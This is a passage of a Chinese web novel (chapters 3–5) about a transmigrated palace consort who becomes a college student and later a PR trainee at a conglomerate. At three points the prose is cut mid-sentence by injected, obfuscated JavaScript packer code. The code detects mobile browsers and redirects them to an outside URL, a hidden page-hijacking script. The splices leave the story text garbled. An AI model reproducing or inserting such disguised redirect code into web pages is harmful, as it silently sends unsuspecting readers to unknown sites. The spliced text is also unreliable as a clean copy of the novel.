《怎么人人都有马甲，偏我没有！》 3. 第 3 章 根据宁雅的观察，阮绵绵不能叫笨，严格来说，她的脑子比较一根筋，类似于，她如果在城郊错过末班公交车，周围没有出租车，网约车不愿意接单，她唯一能想到的就是迈着两条腿走回去。 求助于别人，是在她认知范围之外的。 在她的想法里，自己的错误导致的结果，就应该由自己承担，求助警察是给警察添麻烦，求助附近村民，她又害怕村民不是好人，知道她迷路了会图谋不轨。 如果是宁雅，丢脸归丢脸，如果附近实在没人，该求助警察，还是得求助警察。 要是住在附近的村民愿意用车把她送到有正常运营车辆的地方，上车前，她会拍个车，以及附近环境的照片给朋友，并且大声用村民绝对能听到的声音说：“今天遇到好人了，不然我就彻底完啦。” 虽然宁雅喜欢外向活泼，机智伶俐的人，咳，谁不喜欢这样的人呢。 但是阮绵绵是她同学，即不是她的下属，又不是她的学生，何必如此苛责。 很快就是秋招了。 这几年，原来的那个宁雅从沈飞华手里拿了不少二手奢侈品，她都给卖了，然后买最新款，不在沈飞华面前的时候，她就穿戴着最新款招摇过市。 “哎，何必呢，何苦呢，好不容易存下来的一点钱，都拿去装有钱人了。”宁雅摇头，为什么要花钱去圆这种很容易就被人拆穿的谎言。 整天就想着嫁进豪门做阔太太，无心学习，也就是凑合着能准时毕业的水平。 万金油专业的本科，只要没挂科，没在答辩的时候把老师给打了，谁还能毕不了业啊。 问题就是，毕业即失业。 万金油，代表着干哪行都行，专业性不强，可替代性极强。 而就业市场，已经连续几年低迷，每年的新闻都说《今年是史上最难就业季》 宁雅参加了几个大公司的宣讲会，也投了简历。 意料之中，石沉大海。 在学校内网已经有人在吐槽公司招人只看成绩不看能力了，还说成绩好不就是会死读书吗？把我招进去试试，他们就会知道他们错过了什么。 宁雅笑笑，点击关闭了发牢骚的网页。 企业校招又不止去一个学校，一个学校里有那么多人，难道一个个都招进去试试吗？ 那么多绩点超高的优等生在前面，何必费那个劲搞大海选。 沈飞华又把宁雅叫出去了。 阮绵绵拿到了三个公司的笔试通知，线上作答，线上提交。 “你在她笔试的时候，把你们宿舍的电给停了！”沈飞华做出指示。 宁雅：“啊？你是要我剪电线吗？我可不敢，一眼就看出来。” “剪什么，你那里违规电器那么多，插个电吹风，不就跳闸了？” 宁雅连连摇头：“不行不行，我可不敢，电吹风那么响的声音，周围的寝室里还有人，有些人还有线上面试，我怕被她们打死。” “？？？”沈飞华皱眉看着她，插个电吹风让电路跳闸，只是一个举例而已，如果是以前，就算这事行不通，宁雅也会自己想别的办法，哪怕是弄一根铁丝插在插座里呢。 以前宁雅可不是这样的，让她去干什么，她就立马就去干什么，没有吩咐她去干什么，她也会积极主动去想更多的主意，事成之后再来讨赏。 简直就是狗腿子届的翘楚。 沈飞华完全想不通优秀员工今日为何变成这样，她困惑地问：“你怎么回事？” 宁雅叹了一口气：“我投了好多份简历，都没有结果，还求着我们那层关系还不错的几个同学将来要是能进大公司，帮忙提携提携呢，要是把她们给得罪了，我以后可怎么办啊。” 嗐，就这事？ 沈飞华撇撇嘴：“不就是工作么，你要是实在找不到，就到我家公司来上班。” 宁雅好奇：“真的？！有什么岗位我可以做的吗？” “物业助理。” “是给物业部的经理当助理吗？” 也行，刚起步，她不挑。 沈飞华：“不，就是清洁工，不然，你还能做什么？” 宁雅惊讶：“我能做的事情还有很多啊……我的能力、我的态度，你不是都看见了吗？” 沈飞华笑笑，眼神里充满轻蔑：“我家公司里的员工都是高材生，最差的是C9毕业，清北满地走，海归一大堆，我怕部门开会的时候，你都听不懂他们在说什么。” “那倒是。”宁雅叹了口气，坦率承认。 她哀怨地看着沈飞华：“我们认识这么久了，难道我在你心里，除了当清洁工之外，就没有别的工作可以做了吗？” 她不歧视清洁工，实在是清洁工的工资太低了，而且在写字楼里工作的清洁工也攒不到什么值钱的工作经验，干几年想跳槽去有钱人家的保姆都不够格，那种保姆要会叠衣服、给珠宝做保养…… 曾经有个新来的宫女，觉得宁雅的首饰盒有点霉味儿，她想起御医曾经说过，烈酒能去掉霉，她便将烈酒喷进了首饰盒。 于是，那一首饰盒的珍珠装饰，就此提前结束了它们的职业生涯。 宁雅现在又不是完全没有学历的文盲，好歹也拿着了本科文凭，找工作么，钱途和前途，总得图一样。 沈飞华眼里满是不屑，嘴里却还挺客气：“是金子总会发光，你好好表现，还怕没你的好处，何况你还有我呢，等你做出点成绩，我一定会帮你的。” 现在都不帮，还指望以后？ 清洁工能有什么成绩？ 三分钟内，把红漆写的“欠债还钱”“无良公司欠薪”给处理干净吗？ 宁雅的失望写在脸上，沈飞华不是没看到，不过，她并不在意。 她会找上宁雅，只不过是因为宁雅是阮绵绵的舍友，而且又很缺钱，很容易被收买而已。 平时给她一点小恩小惠就算了，真让这种人进了自家公司的职能部门，还不知道会闯出什么出类拔萃的祸来。 她能那么积极的去整阮绵绵，说明她平时就心术不正。 让她进公司？ 万一哪个公司“大动脉”得罪了她，她积极去整“大动脉”，或是竞争对手收买了她，让她影响整个公司业务，那岂不糟糕，那公司将来可是她沈飞华的。 沈飞华撇撇嘴：“少废话，你干不干？你不干，有的是人干。” “我不干，你去找别人吧。”宁雅转身就走。 沈飞华也不留她，冷哼一声，向相反的方向走去。 宁雅认真地想，自己找不着工作还能去哪儿，自己欺负阮绵绵那么久，就最近稍微缓和一点……她被认回真千金之后，也有一段艰难时光要过，假千金还等着找她麻烦呢，哪有可能就这么痛快地把同学安排进公司。 地上有一段非常神妙的台阶，不知道是哪位大神设计的，肉眼看就像平地，要小心观察，谨慎前行。 这个身体的原主很少来这里，更没有发生不好的事情，宁雅也没在意，脑子里还在想事。 紧接着，她脚下一空，整个人不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502466|186013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自主地向前扑倒，滚下台阶，摔得她七荤八素，眼冒金星。 “宁雅！！！”一个声音从台阶上面传来，是阮绵绵，看她的样子，是想以电视剧里常见的女主跑姿势过来。 “……站住！”宁雅一声厉喝，把阮绵绵吓了一跳，她以为宁雅不想让别人看到自己丢脸的样子，才不让她过来，她急急开口：“你的腿，流血了，好多血，我……我不会说出去的……” “你慢点！别跑！低头看台阶！摔我一个就算了，别把你也搭上了，将来让人说我们宿舍风水不好。” 宁雅连珠炮似的话，语气还是很强硬，但是说的内容一点都不恶毒，阮绵绵心中越发肯定：果然她是嫌我笨……挺好一人，怎么就是说话这么难听呢。 阮绵绵扶着宁雅去校医院，初步诊断结果是扭伤，不过校医院只有X光机，没有磁共振，校医院给开了转院单，让她去外面的对口医院。 对口医院虽好，但是做磁共振要五百块钱。 两个人口袋里的钱加在一起都没五百块，宁雅是有钱的，但是她的手机摔坏了，根本打不开。 宁雅叹了口气：“算了，反正骨头没断，韧带伤了就伤了，反正都只能静养。” “不行……我去找老师借！”阮绵绵已经霍然站起。 小白花女主的标准特质：善良、行动力超强。 没等宁雅拦住她，她已经跑没影了。 · · 阮绵绵出去之后，就看到一辆豪华轿车停在自己面前，一男一女两个中年人从车上下来，走到她面前，女人开口：“请问，你是A大的阮绵绵吗？” “你们是……” 女人激动上前：“我是你的妈妈，你的亲生母亲！！！我终于找到你了。” · · 宁雅等了没几分钟，就看见阮绵绵回来了，心想这么快就借到钱了？ 却见阮绵绵身后跟着一对中年男女，阮绵绵在宁雅身边停下：“这就是我同学，她受伤了，没钱治，你们能不能先借我一点？” “要多少？” “先给五百拍片子，后面可能还有其他钱，等我们从学校报销完了，再还给你们。” 女人连声答应：“好好好！友爱同学，真不愧是我的女儿。” 她去付钱了，男人出去叫司机过来，帮着跑流程。 宁雅猜到这是开始走剧情了，压低声音问：“这是你父母？” 阮绵绵同样压低声音：“我猜是人贩子，跟上周那个讲座说的一模一样。” 上周，学校给同学们开了一个安全相关讲座，主要是让同学们就算找不到工作也别着急，免得被人骗到国外做电诈或是传·销。 女生就更要小心了，可能会被拐到大山沟里。 其中有一个常见手段就是“车上下来几个人，说是你亲戚，然后拉你上车，路人问起，就说你是逃家的叛逆少女”。 阮绵绵不知变通，但是这两个人更不知变通，干的事居然跟学校举的例子一模一样。 这两人更绝，直接说是父母，企图带她上车。 “我想，医院这么多人，他俩肯定不敢硬拖我，我就说有同学没钱治病，先进来再说。”阮绵绵悄悄掏出手机，“我先报警。” 小白花长进了！ 宁雅脱口而出：“呀，你好聪明！” 阮绵绵心中欢喜非常，别人夸她聪明，都是客气，宁雅夸她聪明，可见，自己这件事真的很聪明！ 她嘴角含笑，按下110 4. 第 4 章 当天热搜第一名：“首富夫妇认女，被误认为人贩子” 第二名：“雨神发威，世界旱极阿塔卡马沙漠发生洪灾” 第三名：皮裤汪即将发售新专辑 在警察局，阮绵绵惭愧地低着脑袋：“我……我也不知道啊……你们那么突然的……” 接待的警察正是那天去大学做反诈宣传的同志，她对阮绵绵同学高度警惕意识表示赞赏。 首富夫妇也没有怪她，毕竟江城首富而已，又不是世界首富全国首富，能经常上新闻。不知道也是正常的。 他们反倒挺高兴，说明这个女儿聪明，而且善良，至于成绩一般……那肯定不是她的错，是从小生活的家庭条件不好，没钱请一对一的家庭教师。 在原本的剧情里，首富夫妇会办一场高调的宴会，宣布他们找回了自己的亲生骨肉，会尽量补偿她过去的岁月。 阮绵绵坎坷的人生就由此开始。 无数双红通通的眼睛盯着她，她做的所有事都会被歪曲解读，最后定性为：穷人乍富就是这样的啦、底层人的品性就是这样的啦、有钱人就是这样的啦…… 反正骂她的声音只在传播者各自的圈子里流传，那些仿佛左右脑互搏的信息可以同时存在。 假千金利用大多数人只看一个标题就开始激动狂喷的习惯，断章取义的传播了阮绵绵很多黑料，让阮绵绵根本就不敢在公众面前露面，生怕影响公司商誉。 最后，彻底失权的阮绵绵只能嫁给男主，让男主替她出头解决了假千金及其背后的势力，而由阮绵绵继承的家族公司也并进了男主名下，她自己在没有风雨的温室里安心当全职太太。 现在世界发生了一点点的改变，“首富被自己女儿当成人贩子”这件事本身就很好笑，大家都是当个乐子来看，来传播。 在传笑料的同时，也会让人接受到一个消息：阮绵绵是陪受伤同学来医院才遇上亲生父母的，甚至还企图先爆一波“人贩子”的金币。 她真是善良又聪明。 阮绵绵顺便帮宁雅解决了就业问题：“宁雅人挺好的，可惜腿摔伤成这样，没办法去公司面试，肯定赶不上校招了。” 大老板想安排一个人当普通员工，那还不是一句话的事。 尽管宁雅的绩点看得HR神色凝重，但也还是飞快把入职手续给办妥了，还打电话问她，大概什么时候能来报道，别着急，等伤完全养好了再来。 宁雅果断表示马上就能来。 她只是腿上被台阶划出了一条口子，缝完针的第二天就不怎么疼了，又不是真骨折！ 养什么养！ 早一天入职，早一天拿钱。 上班！ 其他同学还在忙着群面、初面、二面、三面、部门面、HR面的时候，宁雅已经签完三方，正式成为永盛集团公关部的一员。 入职第一天，主要任务是签各种合同、协议，签完以后还要在线上学习企业文化、企业保密条款、IT保密制度…… 中午，坐在她隔壁的孙凝海热情带她去食堂吃饭：“……公司食堂的早饭不行，午饭和晚饭还可以，过了九点还有夜宵提供，夜宵比早饭还好吃，我们都打包回去当第二天的早饭……” 食堂今天的气氛不太寻常，有好多人围在一起，同事一打听才知道，原来是老板白雪晴亲自来视察员工食堂。 首富夫妇的首富，指的是女方，白雪晴的妈妈就超勇，是第一批在政策不明朗的时候，就敢搞“鸡毛换糖”的商人。 白雪晴算富二代，把企业做大做强，从小作坊变成大公司，再合纵联横，成为集团。 阮绵绵认祖归宗以后，随母姓。 白雪晴随便打了几份菜，问其他员工：“你们平时来打菜，也是这个份量吗？” 员工们笑着点头。 孙凝海压低声音跟宁雅说：“你要是对食堂有什么不满，可以在公司内网上发，会有人来找你的，上次我吃凉面的时候，吃到了一个醋瓶子上掉下来的塑料片，他们赔了我一百块餐券。” “这么好！”宁雅十分惊讶，学校食堂可没这好事，她们学校食堂难吃、份量少、时常能看见涮锅用的钢丝就算了，学校还不许学生点外卖，说怕吃坏了肚子要负连带责任。 “对呀，不过有的摊子是挺难吃的，那个烧鹅，千万别点……明明就是预制菜，还假装吊在炉子里，好像现烤的一样。”孙凝海同志相当热情地对所有窗口进行了一遍点评，供宁雅选择。 最后才问：“你要吃什么？” 宁雅笑道：“你太厉害了，我好像听了一个市场调研报告。” “哈哈～你怎么知道，我就是做舆论洞察这一块的，市场调研算是我的本职工作。”孙凝海笑嘻嘻。 “难怪，这么专业，不知道我什么时候才能做到！” 宁雅一向及时给人提供情绪正反馈，这也是她能从采女升上皇贵妃的重要原因之一，最底层的宫人都喜欢她，觉得她能上去，大家都有好日子过，愿意帮她。 孙凝海越发来了兴致，给宁雅一一科普那几个站在白雪晴旁边的人都是谁，有董事长助理，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502467|186013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行政总监…… “那个长得挺帅的小哥是谁？”宁雅问道。 “哈，那个是财务总监的助理，林远途……” 宁雅点点头，她知道这个名字。 林远途，是另一家公司老板的儿子，这个故事世界的男主角。 有钱人家，都喜欢把自己孩子往合作伙伴的公司里放，做为基层锻炼的一部分。 这样可以避免老板孩子不管出什么馊主意、弱智建议，都只能听见赞美，从而导致自信心爆棚，再演变为刚愎自用，接班后公司快速倒闭。 比如阮绵绵，已经去了与永盛集团有合作的公司，做市场部的媒体活动助理。 宁雅在心中暗想：这算不算是互派质子？ 孙凝海还在说：“确实长得挺帅，去年刚从国外回来，听说没女朋友，你要是看上他，我可以帮你介绍介绍……” 宁雅笑着摇头：“不了不了，他的身份太特殊，万一被有心人知道了，还以为我手上费用有问题，跟他内外勾结做花账呢。” 孙凝海都没想到这么复杂的事情，仔细一琢磨，是这么回事，不由感叹：“哇，这么谨慎！真不像刚毕业的。” 宁雅谦虚道：“没什么，就是电视剧看得比较多，电视剧里都是这么演的。” 她是真不敢跟林远途沾一点，最好大家只当礼貌而冷漠的同事。 不是女主怎么敢跟男主有什么感情纠葛。 原身宁雅看过的那些狗血故事都留在了现任宁雅的脑子里： 早期男主的前女友还能成为走了或死了。 后面突然就开始流行双洁了，为了保持男主的纯洁，前女友必须是坏人，绝不能成为男主心中的白月光，前女友不是骗男主就是害女主，最后下场都很凄惨。 宁雅只想好好过自己的日子，不想变成男女感情的推手。 吃饱喝足，整个办公区熄灯，开始午休。 正常情况下，午休是从12:00到14:00，宁雅在寻摸着比较舒服的睡觉地方，她往下走了两层，发现了一个杂物间。 推门进去，发现已经有人在了，正往行军床上放小鸭子枕头，那人抬头看了她一眼，是一个约三十多岁的女人。 “不好意思打扰了，”宁雅立马道歉，顺便夸了一句：“好可爱的枕头，哪买的？求链接。” “是吧～我也很喜欢。”女人笑笑，拿起手机，在内网钉钉搜到她，将枕头店链接发了过去。 宁雅道谢后退出杂物间，看了一眼这个女人的资料：销售部，钱锋锐。 5.第 5 章 两点一到，办公室里准时亮起灯，人民群众纷纷诈尸起床，开始下午的工作。 像宁雅这种老板硬塞的校招生，HR是直接塞到了需要大量打杂人手的公关部，部门经理华永丽都很懵，只能先安排她轮岗。 把部门内所有岗位都轮一圈，看看哪个岗位跟她双向适配，将来就定岗在哪里。 要是宁雅觉得公关部的所有岗位都不适合她，或者是公关部觉得宁雅不适合这里，HR会再给宁雅调配到合适的部门去。 要是所有部门都跟宁雅无法适配，那就只好上报白雪晴，请宁雅离开了，对此，人力资源部没有什么心理压力，她走了，人力资源部不用担识人不明的责任。 老板招进来的关系户么，跟人力资源部有什么关系。 宁雅刚来的时候，大家都有点担心，害怕她是老板介绍进来的人，怕不是老板安插进来的奸细。 毕竟做公关活动，总涉及到很多费用，涉及的费用多了，自然也有很多好动手脚的地方，公司以前就查过几个开阴阳合同的、泄露机密的，闹到了法院，最高刑期八年，这才消停了。 不过暗地里还是有一些没那么严重，但还是利益往来的事情，属于不上秤没二两重，上了秤一千斤打不住的性质。 那些资深老员工完全不想让这个老板塞来的人在自己身边待着。 水至清则无鱼，华永丽心里明白他们的顾虑，也不想拆穿他们。 她便首先把宁雅安排在也是刚进公司一年多的孙凝海那里，学习怎么搜集市场舆情。 过去宁雅在宫里要打听消息，靠的是两条路，第一条是正式途径：圣旨、召告天下。 第二条是非正式途径：“我听人说”、“好像昨天皇上又去X妃宫里了”、路过某处，不小心听见/看见，以及宫女太监传来的消息。 其中也有假消息，比如某宫女是收了别人的钱，故意传播虚假信息。 现在，有专门的舆情监测软件了，全网大数据搜集、准确匹配公司和产品名称、简称、爱称、黑称…… “……然后，系统会分析热度值做加权计数，初始模型是传播广度占40%，情感强度占35%，参与深度占20%，传播速度占10%……我们的任务是根据特定事件，调整这些占比，新增或者删除选项，等我们把数据提交上去以后，就可以分析现在的舆情是否需要启动公关流程。” 宁雅大为震惊：“这么厉害？！” “对啊，不然大海捞针，岂不是要累死了。”孙凝海冲她做了个鬼脸。 白雪晴的企业名叫鼎晟集团公司，主营业务是民用科技和娱乐，这两个看起来跨度非常大的行业，在鼎晨融合的还挺好。 鼎晟电视剧制作中心出品的电视剧里，主角家里都用自家的科技产品，起到无痕插入式广告的效果。 科技产品也能为红了的明星提供高档周边，流麻、小卡那些不算什么，上一次大爆了一个刑侦类电视剧。 剧中主角牵的机械宠物狗、自动导航软件，自动定位安全报警装置等等，都成了热卖周边。 见面会上，好多女生的包包上都挂着可爱的小玩偶，那就是自动定位安全报警器，活动上还玩了一把“集体报平安”。 在艺人“三二一”的口令下，她们一起给家人或朋友发消息：“我在阿星小月见面会，玩得很开心～” 那场见面会有五万粉丝参加，事后大家都太太平平各回各家。 就算当时这部剧真的有很多打对台的片子，有眼睛血红死盯不放的对家，有年轻冲动的粉丝，到底也完全没有传出沪C牌照进市区绑人、跳张江、跳松江、去宝山跳崖等等神奇故事。 负面新闻自然也是有的，不过都掀不起什么水花，影响效果可以忽略不计，公关部甚至都不用联系平台删贴。 宁雅看着孙凝海做了一次示范，便自己上手试了试。 舆情监控系统忽然跳出了一个预警，有一个账号说，很高兴，她刚加入公司，就有幸参与了鼎晟娱乐当红明星最新一部片子的策划和创作全过程。 下面好多明星粉丝提问：小月演什么？阿星演什么？ 然后这个账号发的这句话，就被转发去各种社交平台。 这个账号的过往发过的所有内容，也都被人翻了个遍，逐字逐句分析此人是不是公司员工、人品如何、倾向怎样。 整个账号里，只有一张露脸照，她穿着一条紫裙子，在自家的院子里抱着一只博美犬。 评论区里一片乌烟瘴气： 看这面相就不太聪明的亚子。 刻薄后妈脸。 紫裙子是小妾才穿的，她肯定是小三上位。 就是，恶紫夺朱嘛，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505387|186013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是把野心写在脸上了。 这只狗看起来也不像好东西，这么大的狗，为什么不拴绳？ 对狗这么好，也没见她对爹妈这么好，不孝的人能做出什么好剧，现在电视剧还缺道德低下的摄制组吗？ 好想扒一扒她到底是谁啊？说不定有大瓜。 …… “得赶紧找到她。”孙凝海皱着眉头，把消息截图发给了该电视剧制作组的leader那里。 宁雅一时还没反应过来：“是怕她想不开？” 没招谁没惹谁，就被不认识的人三百六十度无死角，骂成这个样子，一般人很难不难过的吧。 就连不能在外人面前哭的宫女，也要在受委屈之后，找个角落发泄一下情绪。 “不是，是怕她说过什么，做过什么，连累到公司。”孙凝海神色凝重，一边说话，一边手指不停，在公司钉钉上把项目组里的人拉了个小群，让她们尽快处理。 找到人以后，让她把那条删除，然后把所有平台上被人扒出来的账号都隐藏七天。 最后一句话发出去之后，孙凝海才松了一口气，端起咖啡杯喝了一口，对宁雅说： “现在还没有形成舆情，她也没说什么泄密内容，还不会有影响，要是她说了剧组里的事情，后果会很严重。到时候，咱们就要忙啦。” 宁雅的脑中闪过“来人，拖出去，打死”。 现在不能随便把人打死，那就是开除喽？ 她不由好奇：“我们的权力这么大吗？还能把人开除？” 孙凝海同情地看了她一眼：“我们是公关，不是公安，我们的地位比宠物狗低一点点，权力比保安高一点点……开除是人事部的事，我们是替他们收拾残局，擦屁股……很麻烦的。” 宁雅也开始感到烦恼：“员工用自己的账号发内容，这哪能防得住啊……” “这才哪到哪，不算什么。” 宁雅好奇：“还有高手？” 孙凝海重重点头，竖起一根手指，指了指头顶天花板：“别人怎么做都叫个人行为，她就不一样了，代表着公司意志。” “做公关，最怕的就是老板发疯，乱讲话。” 宁雅点点头，表示懂了，想愉快地把工作干好，就得让老板闭嘴！ 怎么让老板闭嘴呢……就得有点主观能动性吧。